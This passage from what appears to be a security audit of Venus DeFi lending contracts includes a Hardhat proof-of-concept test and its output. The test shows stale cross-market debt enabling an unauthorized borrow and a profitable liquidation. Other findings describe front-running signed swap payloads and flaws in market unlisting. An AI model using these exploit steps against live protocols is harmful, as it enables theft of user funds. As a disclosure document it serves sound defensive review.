    await comptroller.setIsBorrowAllowed(0, vBorrowMarket.address, true);
```

```
    await comptroller._setMarketBorrowCaps([vBorrowMarket.address],
[parseUnits("1000000", 18)]);

    const currentBlock = await ethers.provider.getBlockNumber();
    for (const market of [vStaleDebt, vBorrowMarket]) {
      await market.harnessSetBlockNumber(currentBlock);
      await market.harnessSetAccrualBlockNumber(currentBlock);
    }

    await comptroller.connect(attacker).enterMarkets([vAttackerCollateral.address,
vStaleDebt.address]);
    await comptroller.connect(victim).enterMarkets([vVictimCollateral.address,
vBorrowMarket.address]);

    const attackerAddress = await attacker.getAddress();
    const victimAddress = await victim.getAddress();
    const liquidatorAddress = await liquidator.getAddress();

    const attackerCollateral = parseUnits("900000", 18);
    const staleBorrowPrincipal = parseUnits("600000", 18);
    const unauthorizedBorrowAmount = parseUnits("120000", 18);
    const victimCollateral = parseUnits("1000000", 18);
    const victimBorrowPrincipal = parseUnits("799995", 18);
    const victimRepayAmount = parseUnits("100000", 18);

    await vAttackerCollateral.harnessSetBalance(attackerAddress,
attackerCollateral);
    await vAttackerCollateral.harnessSetTotalSupply(attackerCollateral);

    await vVictimCollateral.harnessSetBalance(victimAddress, victimCollateral);
    await vVictimCollateral.harnessSetTotalSupply(victimCollateral);

    await vStaleDebt.harnessSetBorrowIndex(one);
    await vStaleDebt.harnessSetAccountBorrows(attackerAddress, staleBorrowPrincipal,
one);
    await vStaleDebt.harnessSetTotalBorrows(staleBorrowPrincipal);
    await vStaleDebt.harnessSetTotalReserves(0);
    await vStaleDebt.harnessSetInternalCash(parseUnits("1000000", 18));

    const initialBorrowCash = parseUnits("1000000", 18);
    await borrowMarketUnderlying.transfer(vBorrowMarket.address, initialBorrowCash);
    await vBorrowMarket.harnessSetBorrowIndex(one);
    await vBorrowMarket.harnessSetAccountBorrows(victimAddress,
victimBorrowPrincipal, one);
    await vBorrowMarket.harnessSetTotalBorrows(victimBorrowPrincipal);
    await vBorrowMarket.harnessSetTotalReserves(0);
    await
vBorrowMarket.harnessSetInternalCash(initialBorrowCash.sub(victimBorrowPrincipal));

    console.log("\n=== CASE 2 / INITIAL STATE ===");
```

```
    console.log("Attacker collateral in vAttackerCollateral:",
formatAmount(attackerCollateral));
    console.log("Attacker stale debt principal in untouched market A:",
formatAmount(staleBorrowPrincipal));
    console.log("Victim collateral in vVictimCollateral:",
formatAmount(victimCollateral));
    console.log("Victim borrow in market B:", formatAmount(victimBorrowPrincipal));
    console.log("Target extra borrow by attacker from market B:",
formatAmount(unauthorizedBorrowAmount));

    const [, staleLiquidity, staleShortfall] = await
comptroller.getHypotheticalAccountLiquidity(
      attackerAddress,
      vBorrowMarket.address,
      0,
      unauthorizedBorrowAmount,
    );

    await vStaleDebt.harnessFastForward(staleBlockDelta);
    await vStaleDebt.accrueInterest();

    const freshDebt = await vStaleDebt.borrowBalanceStored(attackerAddress);
    const [, freshLiquidity, freshShortfall] = await
comptroller.getHypotheticalAccountLiquidity(
      attackerAddress,
      vBorrowMarket.address,
      0,
      unauthorizedBorrowAmount,
    );

    console.log("\n=== CASE 2 / STATE 1: stale-vs-fresh borrow check for the
attacker ===");
    console.log("Stored-state liquidity before borrowing B:",
formatAmount(staleLiquidity));
    console.log("Stored-state shortfall before borrowing B:",
formatAmount(staleShortfall));
    console.log("Fresh A-market debt after accrual:", formatAmount(freshDebt));
    console.log("Fresh-state liquidity for the same borrow:",
formatAmount(freshLiquidity));
    console.log("Fresh-state shortfall for the same borrow:",
formatAmount(freshShortfall));

    await
expect(vBorrowMarket.connect(attacker).borrow(unauthorizedBorrowAmount)).to.be.rever
ted;
    console.log("Borrow attempt with fresh A debt already accrued: reverted as
expected");

    expect(staleShortfall).to.equal(0);
    expect(staleLiquidity).to.be.gte(unauthorizedBorrowAmount);
```

```
    await vStaleDebt.harnessSetBlockNumber(currentBlock);
    await vStaleDebt.harnessSetAccrualBlockNumber(currentBlock);
    await vStaleDebt.harnessSetBorrowIndex(one);
    await vStaleDebt.harnessSetAccountBorrows(attackerAddress, staleBorrowPrincipal,
one);
    await vStaleDebt.harnessSetTotalBorrows(staleBorrowPrincipal);

    const attackerBorrowBalanceBefore = await
borrowMarketUnderlying.balanceOf(attackerAddress);
    await
expect(vBorrowMarket.connect(attacker).borrow(unauthorizedBorrowAmount)).to.emit(vBo
rrowMarket, "Borrow");
    const attackerBorrowBalanceAfter = await
borrowMarketUnderlying.balanceOf(attackerAddress);
    const marketCashAfterAttackBorrow = await vBorrowMarket.getCash();

    console.log("\n=== CASE 2 / STATE 2: attacker executes the stale-approved borrow
from market B ===");
    console.log(
      "Borrowed underlying received by attacker from market B:",
      formatAmount(attackerBorrowBalanceAfter.sub(attackerBorrowBalanceBefore)),
    );
    console.log("Market B cash after attacker borrow:",
formatAmount(marketCashAfterAttackBorrow));

    const [, victimLiquidityBeforeStress, victimShortfallBeforeStress] = await
comptroller.getHypotheticalAccountLiquidity(
      victimAddress,
      ethers.constants.AddressZero,
      0,
      0,
    );

    await vBorrowMarket.harnessSetInterestRateModel(stressedRateModel.address);
    await vBorrowMarket.harnessFastForward(6000);
    await vBorrowMarket.accrueInterest();

    const victimDebtAfterStress = await
vBorrowMarket.borrowBalanceStored(victimAddress);
    const [, victimLiquidityAfterStress, victimShortfallAfterStress] = await
comptroller.getHypotheticalAccountLiquidity(
      victimAddress,
      ethers.constants.AddressZero,
      0,
      0,
    );

    console.log("\n=== CASE 2 / STATE 3: after market-B stress, a borderline victim
becomes liquidatable ===");
```

```
    console.log("Victim liquidity before stressed borrow accrual:",
formatAmount(victimLiquidityBeforeStress));
    console.log("Victim shortfall before stressed borrow accrual:",
formatAmount(victimShortfallBeforeStress));
    console.log("Victim borrow after stressed B-market accrual:",
formatAmount(victimDebtAfterStress));
    console.log("Victim liquidity after stressed borrow accrual:",
formatAmount(victimLiquidityAfterStress));
    console.log("Victim shortfall after stressed borrow accrual:",
formatAmount(victimShortfallAfterStress));

    expect(victimShortfallBeforeStress).to.equal(0);
    expect(victimShortfallAfterStress).to.be.gt(0);

    await borrowMarketUnderlying.transfer(liquidatorAddress, victimRepayAmount);
    await borrowMarketUnderlying.connect(liquidator).approve(vBorrowMarket.address,
victimRepayAmount);

    const liquidatorSeizedBefore = await
vVictimCollateral.balanceOf(liquidatorAddress);
    await expect(
      vBorrowMarket.connect(liquidator).liquidateBorrow(victimAddress,
victimRepayAmount, vVictimCollateral.address),
    ).to.emit(vBorrowMarket, "LiquidateBorrow");
    const liquidatorSeizedAfter = await
vVictimCollateral.balanceOf(liquidatorAddress);
    const seizedCollateral = liquidatorSeizedAfter.sub(liquidatorSeizedBefore);
    const liquidationProfit = seizedCollateral.sub(victimRepayAmount);

    console.log("\n=== CASE 2 / STATE 4: liquidation payoff ===");
    console.log("Liquidator repay amount in market B:",
formatAmount(victimRepayAmount));
    console.log("Seized victim collateral value received:",
formatAmount(seizedCollateral));
    console.log("Liquidator gross profit from the liquidation:",
formatAmount(liquidationProfit));
    console.log(
      "Conclusion: stale cross-market debt let the attacker extract an extra borrow
from market B. In the modeled stressed-market setup, that same borrowed market later
accrues enough pressure to push a borderline victim into shortfall, enabling a
profitable liquidation.",
    );

    expect(seizedCollateral).to.be.gt(victimRepayAmount);
    expect(liquidationProfit).to.be.gt(0);
  });
});
```

PoC Output:

```
yarn test tests/hardhat/PoC/staleCrossMarketExit.ts


  PoC: stale cross-market solvency gaps

** CASE 1 / PARAMETERS **
Collateral factor used for vTouched and vRemaining: 0.8
Initial vTouched collateral counted by Comptroller: 10000.0
Initial vRemaining collateral counted by Comptroller: 5000.0
Initial stale vDebt borrow balance: 3900.0
Blocks mined before first solvency check: 10000

** CASE 1 / STATE 1: stale cross-market debt makes exitMarket and full redemption
look safe **
vTouched collateral balance: 10000.0
vRemaining collateral balance: 5000.0
vDebt stored borrow balance: 3900.0
Hypothetical liquidity after removing all vTouched collateral: 100.0
Hypothetical shortfall after removing all vTouched collateral: 0.0
Comptroller.redeemAllowed(vTouched, user, fullBalance): 0
Comptroller.exitMarket(vTouched) return code: 0

** CASE 1 / STATE 2: exitMarket(vTouched) succeeds while the untouched debt market
is still stale **
Action completed in this state: Comptroller.exitMarket(vTouched).
No collateral has been redeemed yet. This state only changes whether vTouched is
counted as collateral.
Comptroller.getAssetsIn(user) after exitMarket(vTouched):
Legend: IN = still counted in the account portfolio for cross-market checks, OUT =
removed from account membership.
- vTouched   (0x59b670e9fA9D0A427751Af201D676719a970857b): OUT  -> removed from
collateral membership and no longer counted as collateral
- vRemaining (0xa82fF9aFd8f496c3d6ac40E2a0F282E47488CFc9): IN  -> still counted as
collateral in cross-market liquidity checks
- vDebt      (0x36C02dA8a0983159322a80FFE9F24b1acfF8B570): IN  -> still included in
the cross-market portfolio that should support the debt
vTouched balance still held by user: 10000.0
vRemaining balance still held by user: 5000.0
Meaning: the user still owns the full vTouched position, but Venus no longer treats
vTouched as collateral in portfolio solvency checks.
As a result: the larger collateral position is now outside the collateral set, while
only the smaller remaining collateral position is still supporting the debt.

** CASE 1 / STATE 3: after the stale-approved exit, the user withdraws the full
vTouched collateral **
Action completed in this state: vTouched.redeem(fullBalance).
Underlying extracted by the user after exitMarket: 10000.0
vTouched market cash after redeem: 0.0
Meaning: the unlocked vTouched position has now been converted into underlying and
removed from the market.
```

```
** CASE 1 / STATE 4: once vDebt is finally accrued, the earlier exit and redeem
leave the account underwater **
Action completed in this state: vDebt.accrueInterest().
Comptroller.getHypotheticalAccountLiquidity(user, vRemaining, 0, 0): err = 0
vDebt stored borrow balance: 4095.078
Remaining collateral-only liquidity: 0.0
Resulting shortfall after the earlier exit: 95.078
Conclusion: stale cross-market debt let the user remove a collateral market from
membership and withdraw its full underlying value. Once the untouched debt market is
finally accrued, the account is revealed to be underwater.
    ✔ CASE 1: stale cross-market debt lets a user exit a collateral market and
withdraw value that fresh accounting would have blocked (2213ms)

** CASE 2 / INITIAL STATE **
Attacker collateral in vAttackerCollateral: 900000.0
Attacker stale debt principal in untouched market A: 600000.0
Victim collateral in vVictimCollateral: 1000000.0
Victim borrow in market B: 799995.0
Target extra borrow by attacker from market B: 120000.0

** CASE 2 / STATE 1: stale-vs-fresh borrow check for the attacker **
Stored-state liquidity before borrowing B: 120000.0
Stored-state shortfall before borrowing B: 0.0
Fresh A-market debt after accrual: 600069.0
Fresh-state liquidity for the same borrow: 119931.0
Fresh-state shortfall for the same borrow: 0.0
Borrow attempt with fresh A debt already accrued: reverted as expected

** CASE 2 / STATE 2: attacker executes the stale-approved borrow from market B **
Borrowed underlying received by attacker from market B: 120000.0
Market B cash after attacker borrow: 80005.0

** CASE 2 / STATE 3: after market-B stress, a borderline victim becomes liquidatable
**
Victim liquidity before stressed borrow accrual: 5.0
Victim shortfall before stressed borrow accrual: 0.0
Victim borrow after stressed B-market accrual: 800006.999925
Victim liquidity after stressed borrow accrual: 0.0
Victim shortfall after stressed borrow accrual: 6.999925

** CASE 2 / STATE 4: liquidation payoff **
Liquidator repay amount in market B: 100000.0
Seized victim collateral value received: 110000.0
Liquidator gross profit from the liquidation: 10000.0
Conclusion: stale cross-market debt let the attacker extract an extra borrow from
market B. In the modeled stressed-market setup, that same borrowed market later
accrues enough pressure to push a borderline victim into shortfall, enabling a
profitable liquidation.
```

```
    ✔ CASE 2: stale cross-market debt enables an extra borrow, then a stressed
borrowed market creates a profitable liquidation (981ms)


  2 passing (3s)
```

Recommendation

We recommend ensuring that cross-market solvency-sensitive actions are evaluated against fresh debt state rather than stored state from untouched markets. In particular, borrow, redeem, exit, and similar paths should either accrue all relevant debt markets before making the solvency decision or use an equivalent mechanism that computes up-to-date liabilities across the full portfolio. This would prevent stale cross-market debt from understating liabilities during authorization checks and would preserve the intended collateral safety buffer.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

The behavior comes from the Compound V2 accounting model. Accruing interest for all entered markets on every solvency-sensitive action would add significant gas overhead at the Comptroller layer, while the interest drift from stale markets is expected to remain very small in practice due to regular market activity continuously refreshing them. In cases where a market is considered stale for an extended period, We will be executing the `accrueInterest()` call through a monitoring bot.

VLC-04 `unlistMarket()` Leaves AllMarkets Dirty And Permanently Bricks `seizeVenus()` With No On-Chain Recovery

Category	Severity	Location	Status
Volatile Code	Medium	contracts/Comptroller/Diamond/facets/MarketFacet.sol (core 3c4d06f): 210~211	Resolved

Description

When governance later unlists a market via `unlistMarket()`, only the flag flips back to `false` — the entry in `allMarkets` is left in place. So after a single unlist, `allMarkets` contains one (or more) vTokens whose `isListed` is `false`.

`seizeVenus()`'s first action is to call `updateAndDistributeRewardsInternal(holders, allMarkets, true, true)`. That helper loops over every vToken in the array passed to it and, on each iteration, calls `ensureListed(getCorePoolMarket(address(vToken)))`. When the loop reaches the stale entry left behind by `unlistMarket()`, it reverts, and the surrounding `seizeVenus()` call reverts with it. From the first unlist onward, every subsequent `seizeVenus()` call fails for this reason. The function `claimVenus()` has a curated-list overload that lets callers pass a filtered market list and skip the stale entry; `seizeVenus()` has no such overload, so callers have no on-chain workaround.

Recommendation

The client may consider the following fixes:

1. Patch `updateAndDistributeRewardsInternal()` to continue on entries whose `Market.isListed` is false, rather than reverting via `ensureListed()`.
2. Add a `seizeVenus(holders, recipient, vTokens)` overload mirroring `claimVenus()`'s curated-list pattern, so callers can also pass a pre-filtered market list.

Alleviation

[CertiK, 06/01/2026]: The team heeded the advice and resolved the issue by adding a curated `seizeVenus` overload that accepts a caller-supplied market list, allowing callers to filter out unlisted markets and avoid the stale `allMarkets` entries that previously bricked the default seizure path, in commits b3c21ae09f9bea63802d6139dd303ede6cb34968 and 1f46104015af978b523736536161c2751effe823.

VLC-05 Insolvent Accounts Can Redeem `claimVenusAsCollateral` Rewards Because Minted `vXVS` Does Not Establish Market Membership

Category	Severity	Location	Status
Coding Issue	Medium	contracts/Comptroller/Diamond/facets/FacetBase.sol (core 3c4d06f): 203~207; contracts/Comptroller/Diamond/facets/RewardFacet.sol (core 3c4d06f): 78~118; contracts/Tokens/VTokens/VBep20.sol (core 3c4d06f): 39~47	Resolved

Description

The `RewardFacet.claimVenusAsCollateral()` function is intended to prevent insolvent users from immediately extracting reward value as transferable `XVS`. When `RewardFacet.grantXVSInternal()` detects a positive `shortfall`, it avoids a direct `XVS` transfer and instead mints `vXVS` to the user through `xvsVToken.mintBehalf()` function, with the apparent intent that the reward remain inside the protocol as collateral.

That protection is incomplete because receiving `vXVS` through `mintBehalf` does not make the user a member of the `vXVS` market. The shortfall branch in `RewardFacet.grantXVSInternal()` effectively assumes that minting `vXVS` is enough to keep the reward locked as effective collateral, but the relevant redeem restriction depends on the account actually being entered into the `vXVS` market.

The mint path does not establish that market membership, and the redeem path skips the liquidity check when the redeemer is not a member of the market being redeemed. As a result, a user who remains outside the `vXVS` market can claim rewards through `RewardFacet.claimVenusAsCollateral()`, receive `vXVS`, and immediately redeem it back into transferable `XVS` even while still in shortfall.

Thus, the reward that was supposed to remain inside the system as supporting collateral does not become binding collateral in practice. Instead, an insolvent account can still extract reward value, which weakens the protective purpose of the shortfall branch in `grantXVSInternal` and can reduce the amount of value left inside the protocol to support recovery.

Scenario

We assume:

1. A user has a positive `shortfall` and has not entered the `vXVS` market.
2. The user calls `claimVenusAsCollateral`.
3. Inside `grantXVSInternal`, the protocol avoids transferring raw `XVS` and instead calls `xvsVToken.mintBehalf`, so the user receives `vXVS`.
4. The mint path does not add the user to the `vXVS` market, so the account still lacks market membership for `vXVS`.
5. The user immediately redeems the received `vXVS`.

6. Because `redeemAllowedInternal` bypasses the liquidity check for non-members of the redeemed market, the redemption succeeds even though the user remains in shortfall.
7. The user exits with transferable `XVS`, defeating the intended “claim as collateral” protection.

Recommendation

We recommend ensuring that any rewards minted through `RewardFacet.claimVenusAsCollateral()` are properly locked as collateral before they become redeemable. This can be achieved by making users enter the `vXVS` market as part of the shortfall branch, either before or during the `mintBehalf` operation. This would subject future redemptions to standard liquidity checks and prevent insolvent accounts from immediately redeeming `vXVS` for transferable XVS. If automatic entry into the `vXVS` market is not desirable, we recommend introducing explicit restrictions so that `vXVS` received through this path cannot be redeemed until the account no longer has a positive shortfall.

Alleviation

[CertiK, 06/01/2026]: The team heeded the advice and resolved the issue by requiring users to already be entered into the `vXVS` market before `claimVenusAsCollateral()` can mint `vXVS` on the shortfall path, ensuring the minted rewards are subject to normal collateral membership and redeemability constraints, in commit d687a0ea3a1236777911f9926dc090f34769651a.

VLC-06 Borrower-Specific Forced Liquidations Can Be Blocked By The Liquidator VAI-First Pre-Check

Category	Severity	Location	Status
Inconsistency	Medium	contracts/Liquidator/Liquidator.sol (core 3c4d06f): 238~243, 251~252, 481~482, 483~487	Resolved

Description

The Comptroller supports forced liquidation at both the market level and the borrower-specific level. In `PolicyFacet.liquidateBorrowAllowed()`, liquidation is allowed when either `isForcedLiquidationEnabled[vTokenBorrowed]` or `isForcedLiquidationEnabledForUser[borrower][vTokenBorrowed]` is enabled.

However, `Liquidator._checkForceVAILiquidate()` only checks the market-level forced-liquidation flag before applying the VAI-first restriction:

```
 481          bool _isForcedLiquidationEnabled = comptroller.
isForcedLiquidationEnabled(vToken_);
 482          if (
```

It does not account for borrower-specific forced liquidation. As a result, if a borrower has VAI debt above `minLiquidatableVAI`, the Liquidator wrapper can revert with `VAIDebtTooHigh` even though the Comptroller would allow liquidation for that specific borrower and borrowed market, creating a mismatch between the Liquidator wrapper and the Comptroller's liquidation policy.

Recommendation

We recommend aligning `Liquidator._checkForceVAILiquidate()` with the Comptroller's liquidation policy.

Alleviation

[CertiK, 06/01/2026]: The team heeded the advice and resolved the issue by aligning `Liquidator._checkForceVAILiquidate()` with the Comptroller's forced-liquidation policy, adding a borrower-specific forced-liquidation check so the VAI-first pre-check no longer blocks liquidations that are explicitly allowed for a particular borrower, in commit 7a81bdb5d2e97d686407c81a771176cebaf549a0.

VLC-07 Sentinel's Auto-Unpause Overrides Admin Pauses Set Outside The Sentinel

Category	Severity	Location	Status
Volatile Code, Logical Issue	Medium	contracts/DeviationSentinel/DeviationSentinel.sol (periphery): 265~266	Acknowledged

Description

`handleDeviation()` decides whether to pause or unpause based on its local `state.borrowPaused` and `state.cfModifiedAndSupplyPaused` flags, never consulting the Comptroller's actual `Action.BORROW` / `Action.MINT` pause state. If governance or admin pauses one of those actions independently (e.g., responding to an unrelated incident) and a price deviation cycle then completes, the sentinel's `else`-branch calls `setActionsPaused(..., false)` and **silently clears the admin pause**. The same failure occurs in the reverse ordering: if the sentinel pauses first and admin adds their own pause during the deviation window, the sentinel's subsequent auto-unpause still wipes out the admin's overlay. Both cases require nothing exotic on the bot side — a normal keeper polling `handleDeviation()` triggers the cycle, and dispatch is entirely on-chain via the local-flag check.

In practice, a well-behaved keeper could refuse to call `handleDeviation()` while an admin pause is in place, narrowing the surface. That mitigation lives off-chain and is not enforceable from the contract, and even a perfectly-behaved keeper does not prevent the reverse-order race. The on-chain logic should not depend on bot discipline: the sentinel must observe the Comptroller's actual state before toggling shared pause flags.

Recommendation

We recommend that the client take the following steps:

1. Before recording any sentinel-local pause flag, query `comptroller.actionPaused(market, ...)` and only set the flag (and call `_pauseBorrow()` / `_pauseSupply()`) when the action was *not* already paused by another actor. The `state.borrowPaused` / `state.cfModifiedAndSupplyPaused` flag should then accurately mean "the sentinel was the originator," and the unpause path naturally targets only sentinel-initiated pauses.
2. As a possible stronger alternative, gate the auto-unpause behind an explicit governance action — the sentinel keeps fast pause authority for defense, while restoration requires human-in-the-loop, eliminating both the silent-override and the reverse-order race.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

The contract no longer handles the restoration flow and now operates only for the tightening path. Restoration is now handled through governance decisions instead. Additionally, this change has already been audited.

VLC-08 Front-Running And Quote Theft Of Signed Swap Payloads Through LeverageStrategiesManager

Category	Severity	Location	Status
Volatile Code, Design Issue	Medium	contracts/LeverageManager/LeverageStrategiesManager.sol (periphery): 695~701; contracts/SwapHelper/SwapHelper.sol (periphery): 259~260	Acknowledged

Description

LeverageStrategiesManager orchestrates leveraged-position entry by forwarding a user-supplied swap payload to `SwapHelper`. The handoff at `_performSwap()` is unstructured:

```
function _performSwap(IERC20Upgradeable tokenIn, uint256 amountIn, ...,
                      bytes calldata param) internal returns (uint256 amountOut) {
    tokenIn.safeTransfer(address(swapHelper), amountIn);
    ...
    (bool success, ) = address(swapHelper).call(param);
    if (!success) revert TokenSwapCallFailed();
    ...
}
```

LeverageStrategyManager never decodes `param`. By convention it is the ABI-encoded `SwapHelper.multicall(calls, deadline, salt, signature)` call. The user obtains `(calls, deadline, salt, signature)` off-chain from the Venus backend signer, which produces an EIP-712 signature over a digest computed inside `SwapHelper._hashMulticall()`:

```
return _hashTypedDataV4(
    keccak256(abi.encode(
        MULTICALL_TYPEHASH,
        caller,           // bound to msg.sender of multicall
        keccak256(abi.encodePacked(callHashes)),
        deadline,
        salt
    ))
);
```

When LeverageStrategyManager invokes `address(swapHelper).call(param)`, `msg.sender` inside `SwapHelper.multicall()` is **`LeverageStrategiesManager`**, regardless of which end user initiated the leverage operation. The signed payload contains **no field that identifies the end user**: not in `caller` (always LSM), not in `calls` (the `sweep` recipient is LeverageStrategyManager, since LeverageStrategyManager must receive the output to continue the leverage flow), not in `deadline`, and not in `salt`. Two different users sharing the same wrapper therefore share the same `caller` binding, and the signed payload is structurally indistinguishable between them. Please refer to the scenario below.

Replay protection via `usedSalts[salt]` prevents reusing the same signature twice, but does not prevent another user from being the first to consume the salt. Once consumed, the original requester's transaction fails. The caller binding itself was added in response to a finding from an earlier audit cycle, prior to and independent of the current review (VLS-02 — Missing Caller Address In Multicall Signature Allows Front-Running And Unauthorized Execution, fixed in commit 6b7be31), which addressed the "any contract can submit" hole. That fix did not anticipate the "any user routed through the same contract can submit" hole, which is the structural property which may be exploited here.

Scenario

1. **Alice obtains a signed payload.** Her frontend requests a swap quote from the Venus backend. The backend builds the EIP-712 digest with `caller = LSM`, picks a fresh `salt`, sets a 5-minute `deadline`, and signs. Alice's frontend ABI-encodes `swapHelper.multicall(calls, deadline, salt, signature)` into a bytes blob `swapData`.
2. **Alice submits her leverage transaction:** `LSM.enterLeverage(collateralMarket, seedAmount, borrowedMarket, borrowAmount, minOut, swapData)`. The transaction enters the public mempool.
3. **Bob observes the mempool**, extracts Alice's `swapData` blob verbatim, and constructs his own transaction: `LSM.enterLeverage(..., swapData = Alice's_param)` with a higher gas price.
4. **Bob's transaction lands first.** Inside LSM, `operationInitiator = Bob`. LSM transfers Bob's seed and borrowed amount to `SwapHelper`, then calls `address(swapHelper).call(swapData)`. Inside `multicall`, `msg.sender = LSM`, which matches the signed `caller`. The salt is not yet in `usedSalts`. The signature verifies, the swap executes, the `sweep(token, LSM)` returns the output to LSM, and LSM uses it for **Bob's** leverage position. `usedSalts[salt] = true`.
5. **Alice's transaction is processed next.** LSM transfers Alice's seed and borrow to `SwapHelper`, then calls `multicall` with the same `swapData`. The signature still verifies, but `usedSalts[salt] == true` reverts with `SaltAlreadyUsed`. LSM catches the failure and reverts the whole leverage call with `TokenSwapCallFailed`. Alice's seed and borrow are unwound by the rollback; she has paid gas and must request a fresh signed quote, possibly at a worse market price.

This opens the protocol two vulnerability surface:

- **Front-run griefing (DoS).** Bob doesn't need to profit. Every signed leverage payload visible in the mempool can be wasted by a small gas cost from any observer. Repeated systematically, this can make LSM unreliable for users on busy public mempools.
- **Quote theft.** Bob captures Alice's pre-arranged swap rate for his own leverage entry. If the backend gave Alice a favorable quote (volume-tier pricing, momentary market timing, hedge alignment), Bob receives that favorable rate without having requested it. Bob still needs his own seed and borrow capital — this is not capital-free leverage — but the swap leg's economic value transfers from Alice to Bob.

Recommendation

We recommend that the client consider binding the SwapHelper signature to the end user (the leverage `operationInitiator`), not just to the wrapper `caller`. Concretely, the multicall typehash may be extended with an `endUser` field:

```
bytes32 internal constant MULTICALL_TYPEHASH = keccak256(
    "Multicall(address caller,address endUser,bytes[] calls,uint256 deadline,bytes32
salt)"
);

function multicall(
    address endUser,
    bytes[] calldata calls,
    uint256 deadline,
    bytes32 salt,
    bytes calldata signature
) external nonReentrant { ... }
```

This also need updating `LeverageStrategiesManager._performSwap` (and any other consumer of `SwapHelper` — `SwapRouter`, etc.) to pass `endUser = operationInitiator` when forwarding the call. The backend signs with `endUser = Alice`. Bob copying Alice's bytes still produces an LSM call where LSM passes `endUser = Bob` to the helper, and the signature recover fails.

The implementation of such a solution would bring in the following considerations:

- **Cross-contract coordination.** This is not a single-file change. `SwapHelper`, `LeverageStrategiesManager`, `SwapRouter` (and any other consumer of `SwapHelper.multicall`) must be upgraded in lockstep, along with the Venus backend's signing logic. Inconsistent rollout would either leave the vulnerability open (if `SwapHelper` is unchanged) or break leverage entry entirely (if consumers are not updated to pass `endUser`).
- **In-flight signatures during migration.** Any signed payload outstanding at the moment of the SwapHelper upgrade would be invalidated under the new typehash. Mitigate either with a strictly short `deadline` policy on the backend in the hours leading up to migration, or by supporting both the old and new typehashes in the new SwapHelper for a brief transition window (then permanently disabling the old shape).
- **`SwapHelper.setDirectPrice` not affected.** This recommendation targets only the `multicall` signature path. Other governance levers on `SwapHelper` are unrelated.

Per-user salt scoping may be used complementarily. Once `endUser` (Alice) is in the typehash, also reshaping `usedSalts` to `mapping(address => mapping(bytes32 => bool))` keyed by endUser is a worthwhile hardening. By itself, however, per-user scoping without binding `endUser` into the signed digest does not solve the problem: an attacker can pass their own user argument together with the victim's signature bytes, and the on-chain check has no way to verify that the passed user matches the signer's intent.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

The side effect is limited to the duration of the DDoS attack and comes at a cost to the attacker. Users who are concerned about this scenario can mitigate it by using private RPCs.

VLC-09 | `BinanceOracle` Pricing Relies On Live Token Metadata

Category	Severity	Location	Status
Design Issue	Medium	contracts/oracles/BinanceOracle.sol (oracle): 132~136, 158, 169~170	Acknowledged

Description

In `BinanceOracle._getPrice()`, non-native asset pricing starts by reading the token's live symbol and decimals:

```
132         } else {
133             IERC20Metadata token = IERC20Metadata(asset);
134             symbol = token.symbol();
135             decimals = token.decimals();
136         }
```

The symbol may then be remapped through `setSymbolOverride()`, and the final Binance registry lookup is performed by symbol:

```
158         (, int256 answer, , uint256 updatedAt, ) = feedRegistry.
latestRoundDataByName(symbol, "USD");
```

This creates configuration risk: two different assets can share the same symbol, and a symbol-level override cannot distinguish them. In addition, required aliases must be handled manually, so a missing or incorrect override can cause the oracle to query the wrong Binance market or fail.

Additionally, `getPrice()` also relies on the token's metadata `decimals()` value, without any configured expected-value check, to compute the final returned price. If the metadata decimals are wrong, mutable, or unexpectedly changed, the returned Binance price can be mis-scaled even when the selected symbol is correct.

Recommendation

We recommend avoiding deriving Oracle configuration from live token metadata. Where Binance Feed Registry address-based lookups are available, use them instead of symbol-based lookups. When symbol-based lookup is unavoidable, treat the asset-to-symbol mapping as explicit governance configuration and validate it before enabling the oracle. For decimals, we recommend storing the expected asset decimals; either use the stored value for scaling or rejecting price reads if the live value differs.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

We acknowledge the configuration as intended and is configured with sufficient analysis and testing. That said, we plan to

further improve it over time with oracle-specific optimizations.

VLC-38 Market Unlisting Removes Remaining Positions From Active Accounting Without Verifying Full Market Exit

Category	Severity	Location	Status
Coding Issue, Design Issue	Medium	contracts/Comptroller/Diamond/facets/MarketFacet.sol (core 3c4d06f): 55~75, 210~238, 637~643	Acknowledged

Description

The `MarketFacet.unlistMarket()` function is a privileged market-offboarding operation that can only be executed after the market has already been administratively disabled through restrictive configuration, such as pausing actions, setting borrow and supply caps to zero, and setting collateral factor to zero. However, the function does not verify that all remaining user positions in the market have actually been resolved before the market is unlisted.

Once a market is unlisted by setting `_market.isListed = false`, it is no longer included in `getAssetsIn()` and is removed from normal account-liquidity and active-market accounting. At the same time, several standard protocol interaction paths rely on the market remaining listed. This creates a design dependency on governance performing offboarding only after all meaningful residual positions have already been unwound.

As a result, if a market is unlisted prematurely, remaining legacy positions may be left in an abnormal offboarded state where they are no longer treated as active positions in standard accounting, while normal user-management flows may no longer behave as expected. The current implementation does not enforce a full-exit invariant on-chain and does not make the intended handling of residual positions explicit at the contract level.

The recovery path is also constrained. The `unlistMarket()` function does not remove the market from the `allMarkets` set and only marks it unlisted, while the standard `supportMarket()` flow later reaches `_addMarketInternal()`, which rejects markets that were already added. This means a previously unlisted market cannot simply be re-supported through the normal administrative path, which further increases the operational importance of correct offboarding sequencing.

Overall, the design assumes careful governance coordination and user awareness during market deprecation, but those assumptions are not directly enforced or clearly expressed in the contract behavior itself.

Scenario

We assume:

1. A market still has residual user supply or borrow positions.
2. Governance disables the market by pausing actions and setting restrictive parameters such as a zero borrow cap, a zero supply cap, and a zero collateral factor.
3. Governance calls `unlistMarket()` before all remaining positions are fully resolved.
4. The call succeeds because the function checks only the disabled configuration, not whether the user state is empty.
5. The market is removed from `getAssetsIn()` and no longer participates in normal active-market accounting.

6. Remaining legacy positions are left in an offboarded state that depends on out-of-band governance planning rather than an enforced on-chain full-exit guarantee.

Recommendation

We recommend clarifying the intended semantics of the `MarketFacet.unlistMarket()` function when residual user positions still exist. In particular, please confirm whether unlisting is only intended as a final step after complete market exit, or whether it may also be used earlier as an isolation or emergency offboarding mechanism.

If the current design is intended, it would also be helpful to clarify the expected behavior for remaining user positions after unlisting, the intended recovery or remediation paths, and whether reactivation of an unlisted market is supposed to be possible through governance or upgrade procedures.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

